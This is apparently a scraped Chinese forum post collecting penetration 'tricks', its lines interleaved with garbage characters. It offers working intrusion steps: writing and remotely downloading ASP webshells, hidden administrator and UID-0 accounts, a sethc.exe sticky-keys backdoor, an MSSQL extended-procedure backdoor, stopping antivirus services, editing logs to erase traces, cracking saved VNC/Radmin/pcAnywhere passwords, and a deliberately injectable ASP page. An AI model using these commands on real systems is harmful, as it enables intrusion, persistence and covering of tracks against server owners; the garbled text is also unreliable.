渗透技巧总结

admin

旁站路径问题
$ Y3 Z" ?1 ?4 t/ {' y# D4 L* [1、读网站配置。
# y) g+ s0 X' T8 I4 u2、用以下VBS
- \" w+ V8 K( f2 T* XOn Error Resume Next
" m! ^: }; e( K2 Y/ `# cIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        

' X# j0 A! E7 f0 o& Y8 lMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
8 `9 a) U* c3 g0 e4 [/ t9 }4 j. T" o
- b: a' a$ Z7 _+ }0 q' a0 |Usage:Cscript vWeb.vbs",4096,"Lilo"
* R5 W, x; _! @6 o5 n        WScript.Quit
: S' ^6 X5 L. N$ k3 QEnd If
Set ObjService=GetObject
5 c+ Y6 R9 p+ |' j/ D  p
("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
2 D$ i: j" B* ?% l4 T8 \+ V        If IsNumeric(obj3w.Name)
; R' A- ]$ Y  B- I( P# Q% v; R
; ]6 t- x4 P' _7 TThen
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         

       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
* v; h" ^5 s7 f, O                If Err
% U! P5 k7 I' Q5 J6 Y8 g+ x
2 \5 V4 R/ R8 o3 [2 J<> 0 Then WScript.Quit (1)
1 q) T% J$ H% k                WScript.Echo Chr(10) & "[" &

9 N( K6 P0 {: v; YOService.ServerComment & "]"
  b- l  x9 W3 @. Z7 F                For Each Binds In OService.ServerBindings
3 [. N% n' B5 V3 l/ F     
" K& H  v& y3 H, I3 i7 l) k' }& q
                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
4 @7 }0 C6 C* F- G                        
( r7 x9 i" Z. Y5 V4 ]; E8 N5 N5 z
8 x: ]( z) l5 b! Y3 V* ?9 |& |WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
1 R0 B. ]. M( ?* U) j/ V& A, O$ m                Next
      
- T' J9 i  K" [8 y8 p) }
         WScript.Echo "ath            : " & VDirObj.Path
        End If
5 L2 f, h) B1 _8 E9 g8 z% UNext
复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
" o& L  S% j6 L4 d—————————————————————
/ c+ R" l6 M7 iWordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
" ?. r* C* M& m# k* O! H——————————————————————
9 n* }- m- u: b# k$ d2 BphpMyAdmin暴路径办法:
. F# c: ~# I: [9 Q% x/ z' }phpMyAdmin/libraries/select_lang.lib.php
* w& k6 p- s# `2 E( ~: ZphpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
: D: }' `" F9 C% H& S& V/ W  gphpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
+ [# D' g  \- J; ]7 ~! F网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
7 N0 `* c8 _9 g  T4 c, y————————————————————
CMD下操作VPN相关
8 x8 |" N9 g: ?2 k, n# inetsh ras set user administrator permit #允许administrator拨入该VPN
9 U6 a1 u% y% D7 L8 Ynetsh ras set user administrator deny #禁止administrator拨入该VPN
& ?+ Y, L" ]+ o7 j, g' Q, snetsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
4 V$ Y9 v- T' Z( B" U( l  {$ g8 [netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
& `3 v4 I' g" [; \! knetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
命令行下添加SQL用户的方法
9 M) p; [& \. t需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
  S% u9 t: V+ I2 J# D8 h) SEXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
4 ?4 o5 i0 F8 ]; I1 y$ Fvar o=new ActiveXObject( "Shell.Users" );
$ a+ D7 B6 r; q' wz=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;

vbs:
& j- P  r, F5 F2 k! \Set   o=CreateObject( "Shell.Users" )
& t- a4 m2 O3 r- i/ }Set z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

* b2 u2 p5 _, ^9 f- l4 F$ B( _8 O命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
& c: T* N7 t, G  f2 t4 zcacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
/ y  T" _: f* P8 z0 H& n  H3389相关
3 B  w- W6 L, L: j& e7 la、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
6 j3 _7 r  _" B9 `b、内网环境（LCX）
1 p2 t" T0 ~: M/ k" V4 lc、终端服务器超出了最大允许连接
XP 运行mstsc /admin
2003 运行mstsc /console   

0 c" G% z/ f8 ^9 z6 s杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
  I4 P9 s% K5 c+ D# wnet stop "Symantec AntiVirus" /y
% p# B( K) |3 Pnet stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
5 e0 s& l7 {. F5 I% V( Znet stop "System Event Notification" /y
3 x% W6 |; f5 U) |/ I, `1 `net stop "Symantec Settings Manager" /y

5 L7 U( A) R2 {! B5 h卖咖啡：net stop "McAfee McShield"
. T5 c. f$ E2 p, V: b5 i3 n————————————————————
( T. F& g! Y0 d& j* l: q- N
% x7 P5 ?5 I& B5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
0 {( X( [  D1 M- ]# }9 ^) lcopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
1 j  {# e6 j0 S3 Y" @" M9 I( hcopy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
4 y1 @% |3 R- y1 m——————————————————————
" h3 ?- M( T2 M! q$ G1 C! Q6 _隐藏账号添加：
7 S% j  h- {4 }. c9 _4 L: C1 `1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
! K) I" P% \3 J) S, Y3 M3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
: q5 m6 D; v+ ~4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
MSSQL扩展后门：
" u9 O5 R& a2 C. MUSE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
3 B( w- S( m' Z3 x$ E———————————————————————
日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
& p& W$ G3 M$ u; C直接删除 ex0111124.log
* S8 C/ k; ~& o' U5 r不成功，“原文件...正在使用”
! _7 e: S( N* E当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log
) X6 J. E9 S5 P3 h3 D
MSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
) e. i7 Z8 s( v$ J( r, ?) WMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

' q5 {4 }( b' i9 o" {! uServer\90\Tools\Shell\mru.dat
—————————————————————————
. _8 M  }$ Q, M$ A/ d防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
/ H& P5 m) _1 ?; I1 [4 @0 D( x
# a* ~3 L6 P7 {  w$ s  f6 e<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
8 k/ T2 s* M+ s/ p. CDim Ads, Retrieval, GetRemoteData
On Error Resume Next
( p! r( w; Y. R. R4 z5 u( TSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
* n" N0 L0 Z- z$ d9 G- V# B3 {.Open "Get", s_RemoteFileUrl, False, "", ""
$ ?4 [$ H" x1 Q/ L* ?( i& L4 H.Send
GetRemoteData = .ResponseBody
& q0 c2 I6 q/ v5 v3 TEnd With
Set Retrieval = Nothing
9 Z1 h$ K) A- K' j2 S2 w. `Set Ads = Server.CreateObject("Adodb.Stream")
With Ads
- E! a, C/ o2 z( f" z# v.Type = 1
.Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
1 s: L( n  z# L1 B.Cancel()
& I/ G" t! e# a% \.Close()
End With
Set Ads=nothing
End Sub
* j2 I' H  R& h( D# A
8 u9 M. s# e  ^8 A8 }+ _3 y0 ZeWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>

VNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
8 D1 M+ J& i# E' l注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
9 u! d6 l& l  k# oregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
! {9 G. m& \. m2 U0 jregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
, v/ K* J# |" o' G& [6 EHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
( ~3 Y4 D4 G3 ]' \1 e1 D然后用HASH版连接。
- L: ]! q5 x, w. i  Q2 i如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
% U5 n7 C% n8 T" D9 O1 G保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
: c3 t$ i0 a) \3 X; ^# ]; x# IUsers\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
( d( u4 ^4 w* i* c: t! X0 _来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
( w7 V+ k# ^" q9 A8 I没有删cmd组建的直接加用户。
+ t9 Z( i6 B5 o& l: |4 W7i24的web目录也是可写，权限为administrator。
' k1 C/ E! Z* o4 h0 k# Q- F
$ A7 c: K7 G( q1 P* G" D- S( w1433 SA点构建注入点。
) ?7 E: l: N( o  p9 }+ t<%
7 o& {% J- }- UstrSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
+ k8 z# G# S" B1 ~. ]) D- HstrSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
1 y% U* y% H0 H* z8 ISet conn = Server.createObject("ADODB.Connection")
- E! z. f4 }0 v$ C: B- ^strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

strSQLDBName & ";"
- z) N& Z+ b+ E: H7 U: zconn.open strCon
8 {! }9 P" q: tdim rs,strSQL,id
$ I  U5 s$ u5 L/ N: Y4 |6 Wset rs=server.createobject("ADODB.recordset")
4 K; `, H! q$ K: r3 t4 n* @id = request("id")
3 E. [5 |( @- y; \6 jstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
%>
0 v- O* j9 N( Z, V复制代码
******liunx 相关******
0 }- W3 z' Q9 i! w: E: E一.ldap渗透技巧
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
8 u7 y+ ]: M3 i. m- Q
, {& B7 r$ g" K1 G% a2.less /etc/ldap.conf
  o6 ?, M, B" mbase ou=People,dc=unix-center,dc=net
+ d7 f  o" s& ^7 X6 c找到ou,dc,dc设置
, L+ U+ P2 ]6 |+ a
6 p+ O; z- T4 C7 P; K3.查找管理员信息
匿名方式
# G; J: |4 x, d9 S" X  ~ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

' L) y  D$ O1 [0 w+ W6 d"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
# w& ?9 h5 p+ B
实战:
1.cat /etc/nsswitch
* }2 G, t  Q) g9 v+ T) I看看密码登录策略我们可以看到使用了file ldap模式
3 D, r3 l5 t( A+ {
2.less /etc/ldap.conf
) a- t! C& \! w) d3 zbase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
1 ]/ C% p  X/ c3 c8 D" W
3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

! U  B! @" ^6 C# y. {2 J- h; f0 d"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

  ]7 p! X: @. _9 W: Y, q4 S"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


) J: m: o: }' j' A5 s  d4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
- x# B1 K$ }$ q0 a. ?
渗透实战:
1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
. ?' X$ w. k+ Wversion: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
2 B, l. O$ ^3 B, PobjectClass: domain

4 u* U& y: ~" x& Z" H. J! pdn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
, W" l% F+ m+ H% f/ `3 H& _objectClass: inetOrgPerson
objectClass: organizationalPerson
0 h8 r0 c6 }7 r, nobjectClass: person
  L: _# }* e4 c. W% g0 j) U6 vobjectClass: top
8 I. a; W& m/ a  zsn: manager
cn: manager
7 D, s. [" `. R) c: M/ r, d
dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
objectClass: inetOrgPerson
" {% K2 t$ q$ G; {7 E6 V/ \objectClass: organizationalPerson
# B* X" k  }/ M: pobjectClass: person
objectClass: top
: D( u6 b* W8 m2 N  xsn: superadmin
" \* }- t3 u- b; \2 ycn: superadmin

! o: N' ^8 @: d+ ^) R- |' T/ Cdn: uid=admin,dc=ruc,dc=edu,dc=cn
' x) M7 v$ d; ?$ _4 V& @1 X: wuid: admin
objectClass: inetOrgPerson
objectClass: organizationalPerson
9 M7 K& X. W( S" ^' _. j5 ^. FobjectClass: person
8 d5 ]/ }" W% D) [0 HobjectClass: top
2 V. d$ M5 q( _0 nsn: admin
; ~- L* d$ ~+ \$ w/ r" Fcn: admin
- \  N' Y% ?$ }: c' n# _* l6 G
4 Z8 I8 D( M/ _) Rdn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
) H. _% S+ ]. X0 g" Q4 eobjectClass: top
objectClass: person
objectClass: organizationalPerson
  S# ~0 B9 F1 P5 L( ^objectClass: inetOrgPerson
sn: dcp_anonymous
cn: dcp_anonymous
; G5 X+ ^4 F1 o* V4 ]" Z2 {  Z
2.查看基类
% Q" e  K* [8 Z- Hbash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
, p2 }$ S4 ]8 l3 [/ D. M% D
6 [6 K& B" m- Omore
! |7 `5 w8 \8 M: x# A2 Hversion: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

) |0 m6 S+ n9 u. y7 s$ m! ~3.查找
9 {! u2 |9 e& c8 k* Nbash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
  h% w) `  _* E. E; S7 P& ?( O. Y( mdn:
objectClass: top
( j( m* H- z8 J; B1 [/ h% unamingContexts: dc=ruc,dc=edu,dc=cn
' y* A6 j" I2 E, s0 \/ T9 GsupportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
9 |1 h/ D5 b/ P6 Z1 _3 D2 y' g& UsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
3 t. O; R* ~2 |: ]supportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
3 t5 Z6 U6 W5 m1 Q9 b' t  |supportedExtension: 2.16.840.1.113730.3.5.4
7 l1 ]5 A% x, g) DsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
6 I3 t5 g; o; O6 c2 |6 B) UsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
: l3 s# ~  g) P' m) psupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
7 L5 E. g0 F! D- ]! S: i- ysupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
4 P1 o. N2 _2 v$ Y1 DsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
7 F5 w/ d0 E" `) U; ^) b5 t5 Z3 }supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
/ D% N" M* f# ^# qsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
8 p) T+ Y) O5 D6 j$ ~+ q0 V- ^' msupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
  m3 `/ E3 v1 H% ssupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
4 ?6 s4 Z$ \1 x$ HsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
- s  {3 W) q( OsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
9 [0 f: z) q% |/ WsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
5 E8 N  _# ]0 ?  PsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
4 w$ b6 j# O/ P- i1 t5 t2 [5 F7 \supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
1 {3 |4 ?; U! n9 \9 FsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
( _- }& i$ b* p; W  K) y3 y! b9 QsupportedControl: 2.16.840.1.113730.3.4.3
- z& H  E/ U0 Z& |% R3 zsupportedControl: 2.16.840.1.113730.3.4.4
* Y2 \, l+ \9 X9 t  psupportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
' v- g1 c# z/ ?4 bsupportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
4 @2 w, k( @* u$ K: UsupportedControl: 2.16.840.1.113730.3.4.17
8 c6 }, L  R7 V" AsupportedControl: 2.16.840.1.113730.3.4.19
1 i& j- o9 V/ n5 |supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
  `! j/ K4 H! i1 |3 {1 n* V% [2 tsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
$ t* y3 Y8 I+ q  b% c. G4 R9 A) LsupportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
* J) ^9 N5 E8 U; AsupportedControl: 2.16.840.1.113730.3.4.18
2 Y9 A# Q1 q. f3 QsupportedControl: 2.16.840.1.113730.3.4.13
9 R9 K0 i' N1 E1 XsupportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
" ]1 M) {5 k& F" I- c6 L* RsupportedLDAPVersion: 2
supportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
) F8 @- q7 W0 E& B% O! }supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
7 X0 {* l+ l2 UsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
$ W: \  k7 b0 Z  `# Y) b& CsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
5 e( U  L& m$ R- M! R& S; Y8 DsupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
* y; v5 {, c1 CsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
& D  ?& l$ A( p* S* lsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
: P) Q' }9 \. P: t6 L8 @supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
9 ]+ D! e8 N5 T2 {" o9 O2 ~/ F; fsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
( h8 d/ d: v+ `5 o; KsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
3 c2 }% D: x  h  Z$ csupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
, c. P+ D1 s! bsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
+ O# l% y; A6 F1 A. ssupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
' T" _% }# z: J( E' TsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
4 s* p* D8 R% i) ]: s8 Y" q0 xsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
) ^4 u; u) U- F( p( b  gsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
$ f- L7 O1 f* }2 t! XsupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
9 W3 c% `2 s) Z! M2 m9 wsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
! l2 r" w0 g3 f2 I! M3 asupportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
8 U6 A, A) ]) d  hsupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
" e: z: j1 w$ j$ _+ ^; s2. NFS渗透技巧
/ ]( \; F2 `7 U# y7 ]8 I! h( jshowmount -e ip
3 ?  Z+ c0 x: s- X列举IP
, |. u6 ?, `( L——————
3.rsync渗透技巧
1.查看rsync服务器上的列表
4 k7 \& U! f2 u" B: z) Rrsync 210.51.X.X::
finance
9 y9 X" R" M- r; [: O1 ]$ [( Rimg_finance
auto
img_auto
html_cms
img_cms
8 v) b( y: X' e$ R  t, Yent_cms
% b. ~) s3 y! @/ W3 ^. _ent_img
* t8 c. L2 Z/ E& Z$ S" ^3 {5 k2 B3 fceshi
res_img
res_img_c2
# u9 G/ Q( t+ b# @+ w; U! }chip
chip_c2
ent_icms
games
: h! T0 S5 o5 y* hgamesimg
+ s% @7 _0 u# vmedia
mediaimg
$ P  D2 ^# g+ U. J, r- Hfashion
$ a; i1 W: O7 E8 Q6 o' I, F7 l2 ires-fashion
res-fo
5 u' E0 I6 x& v( staobao-home
. l- H: L$ R: d' w' K0 W5 Ores-taobao-home
2 k: K; v6 ^& ], |  j& a' Thouse
0 W% S7 \* |# h) L; Q8 p# pres-house
" C3 d' ]% h( C! B0 Jres-home
res-edu
res-ent
res-labs
7 T' p& k  k( A" f( ares-news
res-phtv
% A) R; A! b/ d! c8 \8 dres-media
home
edu
+ A1 O8 _4 o5 q1 }6 d! tnews
res-book

3 A4 j, `' r6 w看相应的下级目录(注意一定要在目录后面添加上/)
/ m2 L, ?1 y7 V, Y. [  w

: N% g& z7 q: `, @& Crsync 210.51.X.X::htdocs_app/
$ z( B. E) a) n- h7 P) Prsync 210.51.X.X::auto/
+ X# m6 E$ N. C5 R- i1 vrsync 210.51.X.X::edu/
( f! u; ^1 E  {$ A- S% N: W
/ o7 B. L2 d) r" ?6 N# [2.下载rsync服务器上的配置文件
, d# [! |- t2 h+ x/ arsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

3.向上更新rsync文件(成功上传,不会覆盖)
+ E1 Y) P; t! k1 o5 ?, D- S( X3 l! h' Vrsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
# g% |* ^* l7 f$ ^. qhttp://app.finance.xxx.com/warn/nothack.txt
& _. n5 s6 ~( S" y; q, R
8 `* w1 ^! S! B% ^8 |& z1 p5 k四.squid渗透技巧
nc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
% k( J! S# n1 Y1 K# Z! w4 E; Cssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
, ]0 q  f9 h5 a$ @, G
六.joomla渗透小技巧
% q3 c, o6 H* L$ x确定版本
& ^8 w# V2 `+ \2 `index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

15&catid=32:languages&Itemid=47
  ?5 o. ~; ~$ d
重新设置密码
index.php?option=com_user&view=reset&layout=confirm
# p9 t: M' e4 v( w$ w* ^( P
七: Linux添加UID为0的root用户
useradd -o -u 0 nothack

" S. {2 O, p# c八.freebsd本地提权
[argp@julius ~]$ uname -rsi
  q& c- k9 \8 l5 |* z* freebsd 7.3-RELEASE GENERIC
: F: e2 ^8 M- R2 V* [argp@julius ~]$ sysctl vfs.usermount
2 G0 A; _4 J3 x! H! {$ A* vfs.usermount: 1
* [argp@julius ~]$ id
0 T, Q' t8 l% t6 G+ X+ T& b* uid=1001(argp) gid=1001(argp) groups=1001(argp)
